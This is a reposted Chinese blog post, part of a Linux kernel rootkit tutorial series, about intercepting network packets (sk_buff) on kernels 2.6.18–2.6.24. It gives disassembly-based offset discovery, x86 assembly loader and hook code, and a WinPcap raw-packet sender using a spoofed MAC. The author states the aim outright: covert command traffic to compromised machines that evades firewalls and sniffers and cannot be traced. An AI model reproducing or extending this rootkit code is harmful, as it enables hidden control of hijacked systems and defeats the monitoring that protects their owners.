rootkit for linux 6.截获skb

来源:互联网 发布:软件编辑工具 编辑:程序博客网 时间:2024/05/12 09:54

胡锦涛说的好:自己动手,丰衣足食。

 现在,我们要自己动手,让防火墙和嗅探器去吃屎吧。

 

现在面对的是三座大山“获得protocol的偏移,获得len的偏移,获得data的偏移”

我的思路是寻找一个访问到这三个字段的函数,搜关键指令。

这方法最好配合一个反汇编引擎,效果绝佳。但是现在反汇编引擎我tmd还没时间写,所以手动波先用着啊。其实手动波在很多情况下都是够用的。

 

我们要找这样一个函数,它在符号表中被导出,它在各个版本的内核中变换不大,它的关键指令易于搜索。

满足这三个条件的函数你别说还真难找,我tmd找了一个下午。我到现在也没琢磨出内核符号表导出的规律,有些函数是static,又被导出了,有些函数不是static,却没被导出,你说犯贱不。但是有一点是肯定的,EXPORT_SYMBOL了的函数是绝对会被导出的。

 

Part I  寻找三个关键偏移

 

1. 在 skb_gso_segment 里寻找 protocol 字段的偏移

 

 

男一号“skb_gso_segment”隆重当选。

 

  1. struct sk_buff *skb_gso_segment(struct sk_buff *skb, int features)
  2. {
  3.     struct sk_buff *segs = ERR_PTR(-EPROTONOSUPPORT);
  4.     struct packet_type *ptype;
  5.     __be16 type = skb->protocol;
  6.     int err;
  7. ......

这函数干脆。一开始就访问 skb->protocol。而且在2.6.18 ~ 2.6.24,这函数的开头都没有变过。真是难得。

我们反汇编看看。

 

  1. 00000000 <.data>:
  2.    0: 55                    push   %ebp
  3.    1: 89 d5                 mov    %edx,%ebp
  4.    3: 57                    push   %edi
  5.    4: 56                    push   %esi
  6.    5: 89 c6                 mov    %eax,%esi
  7.    7: 53                    push   %ebx
  8.    8: 83 ec 10              sub    $0x10,%esp
  9.    b: 0f b7 78 6a           movzwl 0x6a(%eax),%edi
  10.    f: 8b 80 88 00 00 00     mov    0x88(%eax),%eax
  11.   15: 8b 40 10              mov    0x10(%eax),%eax
  12.   18: 85 c0                 test   %eax,%eax
  13.   1a: 0f 85 ba 00 00 00     jne    0xda

 

看到没?movzwl 那句话就是读取skb->protocol的。0x6a就是我们要的偏移。那好办,搜 0f  b7 就行了。为什么不搜 0f  b7 78 呢?因为我试验了下,估计 0xb70f 那部分是代表“这个指令是 movzwl”,后面的 0x78 代表“这指令操作的寄存器是 %eax %edi”,再后面的“0x6a”就是偏移了。前面都说了,这里用反汇编引擎是最好的,我还没有仔细看过intel的机器码编码格式,呵呵。

 

所以我们搜 0f b7,它的开头处往后的第三个字节就是我们要的偏移了。

 

 

2.  在skb_copy中寻找data字段的偏移

 

女一号“skb_copy”隆重当选。为啥呢?她从2.6.18 ~ 2.6.24 ,基本上没咋过,非常专一,不会变心。别忘了,2.6.17 ~ 2.6.24 是我们的 vmsplice 漏洞的作用范围。

 

  1. struct sk_buff *skb_copy(const struct sk_buff *skb, gfp_t gfp_mask)
  2. {
  3.     int headerlen = skb->data - skb->head;
  4.     /*
  5.      *  Allocate the copy buffer
  6.      */
  7.     struct sk_buff *n;
  8. #ifdef NET_SKBUFF_DATA_USES_OFFSET
  9.     n = alloc_skb(skb->end + skb->data_len, gfp_mask);
  10. #else
  11.     n = alloc_skb(skb->end - skb->head + skb->data_len, gfp_mask);
  12. #endif
  13.     if (!n)
  14.         return NULL;
  15.     /* Set the data pointer */
  16.     skb_reserve(n, headerlen);
  17. 。。。

这函数也是一开始就取了skb->data。

 

  1. 00000000 <.data>:
  2.    0:   55                      push   %ebp
  3.    1:   31 c9                   xor    %ecx,%ecx
  4.    3:   57                      push   %edi
  5.    4:   56                      push   %esi
  6.    5:   89 c6                   mov    %eax,%esi
  7.    7:   53                      push   %ebx
  8.    8:   83 ec 04                sub    $0x4,%esp
  9.    b:   8b b8 8c 00 00 00       mov    0x8c(%eax),%edi
  10.   11:   8b a8 90 00 00 00       mov    0x90(%eax),%ebp
  11.   17:   8b 80 88 00 00 00       mov    0x88(%eax),%eax
  12.   1d:   8b 5e 58                mov    0x58(%esi),%ebx
  13.   20:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)
  14.   27:   29 f8                   sub    %edi,%eax
  15.   29:   01 d8                   add    %ebx,%eax
  16.   2b:   e8 20 fc ff ff          call   0xfffffc50
  17.   30:   85 c0                   test   %eax,%eax
  18.   32:   89 c3                   mov    %eax,%ebx
  19.   34:   74 75                   je     0xab
  20.   36:   8b 4b 58                mov    0x58(%ebx),%ecx
  21.   39:   29 fd                   sub    %edi,%ebp
  22.   3b:   01 a8 84 00 00 00       add    %ebp,0x84(%eax)
  23.   41:   89 ef                   mov    %ebp,%edi
  24.   43:   01 a8 90 00 00 00       add    %ebp,0x90(%eax)
  25.   49:   8b 56 54                mov    0x54(%esi),%edx
  26.   4c:   85 c9                   test   %ecx,%ecx
  27.   4e:   8b 80 84 00 00 00       mov    0x84(%eax),%eax
  28.   54:   75 5d                   jne    0xb3

第9,10行的时候,skb->data和skb->head已经取出来了。在第 21 ~ 24 执行的是 skb_reserve 这个 inline 函数。

  1. static inline void skb_reserve(struct sk_buff *skb, int len)
  2. {
  3.     skb->data += len;
  4.     skb->tail += len;
  5. }

如法炮制,我们只要搜 8b 就行了。我对比了下 2.6.18 和 2.6.24 的反汇编,发现都是这个情况。所以可以放心地搜 8b 。

 

 

3. 在 skb_pull_rcsum 里寻找 len字段的偏移

 

这个。。最佳配角“skb_pull_rcsum”隆重登场!这函数也完全符合条件。开门见山,一开始就判断 len > skb->len。

  1. unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len)
  2. {
  3.     BUG_ON(len > skb->len);
  4.     skb->len -= len;
  5.     BUG_ON(skb->len < skb->data_len);
  6.     skb_postpull_rcsum(skb, skb->data, len);
  7.     return skb->data += len;
  8. }
  9. EXPORT_SYMBOL_GPL(skb_pull_rcsum);
  1. 00000000 <.data>:
  2.    0:   56                      push   %esi
  3.    1:   89 d6                   mov    %edx,%esi
  4.    3:   53                      push   %ebx
  5.    4:   89 c3                   mov    %eax,%ebx
  6.    6:   83 ec 0c                sub    $0xc,%esp
  7.    9:   8b 40 54                mov    0x54(%eax),%eax
  8.    c:   39 d0                   cmp    %edx,%eax
  9.    e:   72 60                   jb     0x70
  10.   10:   29 d0                   sub    %edx,%eax

我们只要找到第一个mov就行了,一样搜 8b 。这个函数我也是对比了各个版本的反汇编的。也基本没变化。

 

好了,现在我们搞到了重要字段的偏移。采用这种方法,意味着什么呢?

我们的rootkit是跨版本的!跨越了 2.6.18 ~ 2.6.24 。这已经是个大跨越了!

毕竟跨度还不大。但如果你想跨越 0.11 ~ 2.6.24 。那就不是在研究rootkit,而是在研究人工智能了。

 

找这几个函数的时候,我深刻地体会到程序员实际上也是个体力活。呵呵。

 

不过下面就方便了,为我们截获skb铺平了道路!

代码和上次相比有所更改。无论是通过 inline hook netif_receive_skb 还是通过 hook ptypes_all,都会到达 handle_incoming_skb 这个函数,这个函数负责处理我们的包。现在这个函数里还没什么内容。

 

  1. EXPORT_LABEL(loader_start)
  2.     ....
  3.     
  4.     GET_STR("skb_gso_segment", %eax)
  5.     movl $15, %edx
  6.     call ksym_lookup
  7.     jz loader_out
  8.     movw $0xb70f, 4(%esp)
  9.     movl $0x100, %edx
  10.     leal 4(%esp), %ecx
  11.     movl $2, (%esp)
  12.     call memmem
  13.     jz loader_out
  14.     movzbl 3(%eax), %eax
  15.     GET_ADDR(skbuff.protocol, %ebx)
  16.     movl %eax, (%ebx)
  17.     movl %eax, 4(%esp)
  18.     __DPRINT("<3>skbuff.protocol is %lx/n")
  19.     # get skbuff.protocol
  20.     GET_STR("skb_copy", %eax)
  21.     movl $8, %edx
  22.     call ksym_lookup
  23.     jz loader_out
  24.     movb $0x8b, 4(%esp)
  25.     movl $0x100, %edx
  26.     leal 4(%esp), %ecx
  27.     movl $1, (%esp)
  28.     call memmem
  29.     jz loader_out
  30.     movzbl 2(%eax), %eax
  31.     addl $4, %eax
  32.     GET_ADDR(skbuff.data, %ebx)
  33.     movl %eax, (%ebx)
  34.     movl %eax, 4(%esp)
  35.     __DPRINT("<3>skbuff.data is %lx/n")
  36.     # get skbuff.data
  37.     GET_STR("skb_pull_rcsum", %eax)
  38.     movl $14, %edx 
  39.     call ksym_lookup 
  40.     jz loader_out 
  41.     movw $0x408b, 4(%esp)
  42.     movl $0x100, %edx
  43.     leal 4(%esp), %ecx
  44.     movl $2, (%esp)
  45.     call memmem
  46.     jz loader_out
  47.     movzbl 2(%eax), %eax
  48.     GET_ADDR(skbuff.len, %ebx)
  49.     movl %eax, (%ebx)
  50.     movl %eax, 4(%esp)
  51.     __DPRINT("<3>skbuff.len is %lx/n")
  52.     # get skbuff.len
  53.     
  54.     ....
  55. # common var
  56. skbuff.len: .fill 4
  57. skbuff.data: .fill 4
  58. skbuff.protocol: .fill 4
  59.     ....
  60. # handle incoming skb
  61. handle_incoming_skb:
  62.     pushl %ebx
  63.     pushl %ecx
  64.     pushl %esi
  65.     pushl %eax
  66.     pushl %edx
  67.     movl %eax, %esi
  68.     subl $10, %esp
  69.     GET_ADDR(skbuff.protocol, %ebx)
  70.     movl %esi, %ecx
  71.     addl (%ebx), %ecx
  72.     movzwl (%ecx), %ecx
  73.     movl %ecx, 4(%esp)
  74.     GET_ADDR(skbuff.len, %ebx)
  75.     movl %esi, %ecx
  76.     addl (%ebx), %ecx
  77.     movl (%ecx), %ecx
  78.     movl %ecx, 8(%esp)
  79.     __DPRINT("<3>skb: prot %lx, len %lx/n")
  80.     
  81.     addl $10, %esp
  82.     popl %edx
  83.     popl %eax
  84.     popl %esi
  85.     popl %ecx
  86.     popl %ebx
  87.     ret

现在也就是把所有的包的protocol 字段显示出来。没什么别的功能。

 

Part II  截获skb测试

 

那么我们怎么测试呢?

我们要在数据链路层发包,利用普通的socket当然不行。我们用大名鼎鼎的 WpdPack SDK。这家伙是用来做嗅探器的。当然也提供了sdk,可以直接操作网卡发包,巨强大。

以下代码在 vs 2005 下编译通过。

  1. #include <stdio.h>
  2. #include <pcap.h>
  3. #include <packet32.h>
  4. #include <ntddndis.h>
  5. #include <remote-ext.h>
  6. int main(int argc, char *argv[])
  7. {
  8.     pcap_t *fp;
  9.     pcap_if_t *alldevs;
  10.     pcap_if_t *d;
  11.     int inum;
  12.     int i=0;
  13.     pcap_t *adhandle;
  14.     char errbuf[PCAP_ERRBUF_SIZE];
  15.     u_char packet[100];
  16.     
  17.     /* Retrieve the device list on the local machine */
  18.     if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
  19.     {
  20.         fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
  21.         exit(1);
  22.     }
  23.     
  24.     /* Print the list */
  25.     for(d=alldevs; d; d=d->next)
  26.     {
  27.         printf("%d. %s", ++i, d->name);
  28.         if (d->description)
  29.             printf(" (%s)/n", d->description);
  30.         else
  31.             printf(" (No description available)/n");
  32.     }
  33.     
  34.     if(i==0)
  35.     {
  36.         printf("/nNo interfaces found! Make sure WinPcap is installed./n");
  37.         return -1;
  38.     }
  39.     
  40.     printf("Enter the interface number (1-%d):",i);
  41.     scanf("%d", &inum);
  42.     
  43.     if (inum < 1 || inum > i)
  44.     {
  45.         printf("/nInterface number out of range./n");
  46.         /* Free the device list */
  47.         pcap_freealldevs(alldevs);
  48.         return -1;
  49.     }
  50.     
  51.     /* Jump to the selected adapter */
  52.     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
  53.     
  54.     /* Open the device */
  55.     if ( (fp = pcap_open(d->name,           // name of the device
  56.                               100,
  57.                               PCAP_OPENFLAG_PROMISCUOUS,    // promiscuous mode
  58.                               1000,             // read timeout
  59.                               NULL,             // authentication on the remote machine
  60.                               errbuf            // error buffer
  61.                               ) ) == NULL)
  62.     {
  63.         fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", d->name);
  64.         /* Free the device list */
  65.         pcap_freealldevs(alldevs);
  66.         return -1;
  67.     }
  68.     
  69.     /* target mac */
  70.     packet[0] = 0x00;
  71.     packet[1] = 0x0c;
  72.     packet[2] = 0x29;
  73.     packet[3] = 0x80;
  74.     packet[4] = 0x59;
  75.     packet[5] = 0x91;
  76.     
  77.     /* our mac */
  78.     packet[6] = 0x12;
  79.     packet[7] = 0x34;
  80.     packet[8] = 0x56;
  81.     packet[9] = 0x78;
  82.     packet[10] = 0x90;
  83.     packet[11] = 0x12;
  84.     /* out protocol */
  85.     packet[12] = 0x53;
  86.     packet[13] = 0x16;
  87.     /* Send down the packet */
  88.     if (pcap_sendpacket(fp, packet, 100 /* size */) != 0)
  89.     {
  90.         fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(fp));
  91.         return;
  92.     }
  93.     return 0;
  94. }

这是段测试代码,首先你要知道虚拟机里的网卡的mac地址。就是target mac。

你自己的地址(our mac)就随便了,这点也很重要的,为什么呢?因为我们是rootkit,你不能像正常的以太网包一样把自己的真实mac地址放在包头。那样的话,如果跟肉鸡同一网段里的某网卡进了混杂模式,用嗅探器就可以看到我们的包,包头有我们的mac地址,那样还不完蛋!

那肉鸡怎么获得我们的mac地址呢?包的内容可以加密,在那里面就包含了我们的mac地址。在肉鸡往回发的时候就知道mac地址了。

这样,我们的包就算被嗅探到了,嗅探器也不知道是哪里来的包。没法追查下去。

 

测试一下吧,看看效果!

 

 

看到没!  我们的包收到了!   协议是我们的自己定义的 0x1653 !

同时,所有的skb都会被截获到! 而且不会被所有嗅探器和防火墙发现!

你要丢掉一个skb,把它的len 设成0就行了! 多么简单!

就这样! 你已经控制了半个网络!!

为什么说是半个网络呢?  因为还有“发包”还没有实现!

不怕,慢慢来,迟早会实现的!

原创粉丝点击